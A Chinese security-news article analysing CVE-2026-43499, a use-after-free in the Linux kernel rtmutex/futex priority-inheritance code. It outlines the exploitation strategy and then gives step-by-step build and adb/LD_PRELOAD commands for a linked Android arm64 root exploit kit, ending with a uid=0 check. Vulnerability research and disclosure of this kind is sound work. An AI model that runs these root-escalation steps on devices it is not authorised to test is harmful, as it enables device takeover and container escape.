15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的CVE-2026-43499漏洞进行漏洞分析和概念验证(PoC)"

admin 2026-10-21 05:05:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的 CVE-2026-43499 漏洞进行漏洞分析和概念验证 (PoC)

Ots安全

2026年7月20日 19:29
广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

  1. 漏洞本质

这是一个栈-based Use-After-Free (UAF) 漏洞,位于Linux内核的实时互斥锁(rtmutex)子系统,具体在futex优先级继承(Priority Inheritance, PI)路径的proxy-lock回滚逻辑中。漏洞编号CVE-2026-43499,CVSS评分7.8(High)。

这是一个基于栈的 Use-After-Free (UAF) 漏洞,位于 Linux 内核的实时互斥锁(rtmutex)子系统,具体在 futex 优先级继承(Priority Inheritance, PI)路径的代理锁回滚逻辑中。漏洞编号 CVE-2026-43499,CVSS 评分 7.8(高)。

  1. 根源代码位置与触发机制

核心问题出在kernel/locking/rtmutex.c的remove\_waiter()函数。

在正常慢路径加锁时,remove\_waiter()使用当前任务(current)进行清理,这是正确的。但在\\futex\_requeue()\\触发的proxy-lock回滚场景中,等待者(waiter)的waiter::task 并非当前任务,代码却依然错误地对current进行操作,导致以下连锁问题:

  • 红黑树(rbtree)出队时未持有正确的waiter::task::pi\_lock;
  • 未能正确清除waiter->task的pi\_blocked\_on指针,留下指向已释放内核栈帧的悬空指针;
  • 后续rt\_mutex\_adjust\_prio\_chain()等函数操作了错误的任务,制造出可控的UAF条件。

攻击者通过精心构造三个futex和线程优先级反转死锁场景,触发race condition,之后利用PR\_SET\_MM\_MAP等系统调用在已释放的栈位置放置伪造的rt\_mutex\_waiter结构,从而获得内核指针写入原语,最终实现控制流劫持(例如覆盖inet6\_protos[IPPROTO\_UDP]函数表)并完成Root提权。

  1. 影响范围与严重性引入时间:2011年Linux 2.6.39(距今15年)。

影响版本:几乎所有未打补丁的主流内核(2.6.39 ~ 7.0.x,CONFIG\_FUTEX\_PI开启时)。

攻击条件:无需特殊权限,本地普通用户即可触发;容器内也能直接逃逸到宿主机。

实际危害:稳定率可达97%,几秒内完成提权,已有公开PoC(包括针对小米Android arm64设备的LD\_PRELOAD实现)。

项目地址:

https://github.com/Linuxoid-cn/CVE-2026-43499-Poc-Analysis

这是一个用于CVE-2026-43499的Android arm64本地提权装备项目。

项目会根据目标设备的boot.img和配置文件信息生成target.h,然后编译出对应的preload.so。

说明:本项目是通用设备框架,不绑定单一机型。实际是否可用,以generate\_target.py能否成功生成target.h以及真机测试结果相似。

项目目录/
├── boot.img # 目标设备同固件 boot 镜像
├── profile.json # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│ ├── Makefile
│ └── src/
│ └── target.h # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

依赖

Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Windows下推荐使用:

MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

MSYS2里安装make:

pacman -S make coreutils

准备文件

你需要准备:

boot.img
profile.json

profile 示例:

{
  \"p0_phys_offset\": \"0x80000000\",
  \"p0_kernel_phys_load\": \"0xc7800000\"
}

profile 里的这两个地址:

p0_phys_offset
p0_kernel_phys_load

可以在已经 Root、且与目标 boot.img 同固件的手机上运行脚本得到:

python3 detect_offset.py

Windows 也可以:

python detect_offset.py

使用步骤

  1. 进入项目目录

Linux / macOS:

cd PATH/project

Windows MSYS2 示例:

cd PATH/CVE-2026-43499-Poc-Analysis-main
  1. 设置 NDK 路径

Linux / macOS 示例:

export ANDROID_NDK_HOME=PATH/android-ndk

Windows MSYS2 示例:

export ANDROID_NDK_HOME=PATH/android-ndk-r29
  1. 生成 target.h
python generate_target.py \\
  --boot boot.img \\
  --profileprofile.json \\
  -osource/src/target.h

或者 CMD 使用 :

python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h

如果提示找不到 llvm-objdump,手动指定路径:

python generate_target.py \\
  --boot boot.img \\
  --profileprofile.json \\
  -osource/src/target.h \\
  --llvm-objdump \"PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe\"

或者 CMD 使用:

python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h --llvm-objdump \"PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe\"

成功后会看到类似:

生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
  1. 编译 preload.so

Linux / macOS:

make -C source clean preload

Windows MSYS2:

make -C source clean preload NDK_PREBUILT=windows-x86_64

成功后会生成:

source/build/bin/preload.so
  1. 推送到设备并运行
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell\"chmod 0644 /data/local/tmp/preload.so\"
adb shell\"LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true\"

验证:

adb shell\"/data/local/tmp/su -c 'id'\"

成功时一般会看到:

uid=0(root) gid=0(root)

Windows MSYS2 一键流程

按你的路径示例:

cd PATH/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=PATH/android-ndk-r29
python generate_target.py --boot boot.img --profileprofile.json -osource/src/target.h
make -C source clean preload NDK_PREBUILT=windows-x86_64

最终文件:

source/build/bin/preload.so

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的CVE-2026-43499漏洞进行漏洞分析和概念验证(PoC)" 网络安全文章

15年潜伏“幽灵锁”:Linux内核rtmutex一处清理失误,针对影响小米设备的CVE-2026-43499漏洞进行漏洞分析和概念验证(PoC)"

该文档分析了CVE-2026-43499漏洞,这是一个存在于Linux内核rtmutex子系统的Use-After-Free漏洞,影响2.6.39至7.0.x版本。漏洞源于futex优先级继承路径的代理锁回滚逻辑缺陷,攻击者可通过构造特定场景实现本地提权。文档提供了针对Android设备的PoC实现步骤,包括生成target.h和编译preload.so。建议用户尽快更新内核补丁以修复此高危漏洞。
云安全漏洞挖掘与利用Skill—攻击面发现+凭据后利用" 网络安全文章

云安全漏洞挖掘与利用Skill—攻击面发现+凭据后利用"

该文档介绍了一款名为cloud-vuln-skill的云安全测试工具集,聚焦于攻击面发现与凭据后利用两个阶段。工具无需凭证即可进行S3桶爆破、SSRF探测、K8s未授权检测等信息收集;获取凭证后支持AK/SK验证、权限枚举及提权路径分析。设计遵循只读优先与写入即清理原则,不实际利用漏洞。文档提供了详细的安装、命令用法及参数说明,适用于云环境安全评估。
神经网络:模拟大脑的计算奇迹,从感知机到深度学习的演进之路" 网络安全文章

神经网络:模拟大脑的计算奇迹,从感知机到深度学习的演进之路"

本文系统介绍了神经网络从感知机到深度学习的发展历程,涵盖核心公式、哲学科学意义、反向传播算法推导及实际应用。文章指出神经网络通过模拟大脑学习过程,从经验中涌现智能,其核心是反向传播算法和梯度下降。主要应用包括图像识别、自然语言处理和医学诊断。文章强调神经网络是对自然学习方式的数学模拟,为人工智能发展提供了基础。
AnthropicClaudeCode隐蔽监控后门事件全景复盘" 网络安全文章

AnthropicClaudeCode隐蔽监控后门事件全景复盘"

本文复盘ClaudeCode隐蔽监控后门事件,其通过时区指纹、域名黑名单与Unicode隐写术静默识别中国用户,被工信部定性为严重后门。事件暴露AI工具滥用权限的信任危机。建议立即卸载受影响版本或升级,收紧外联权限,落实最小权限与沙箱隔离,个人需审查出站流量并评估国产替代。
评论:0   参与:  0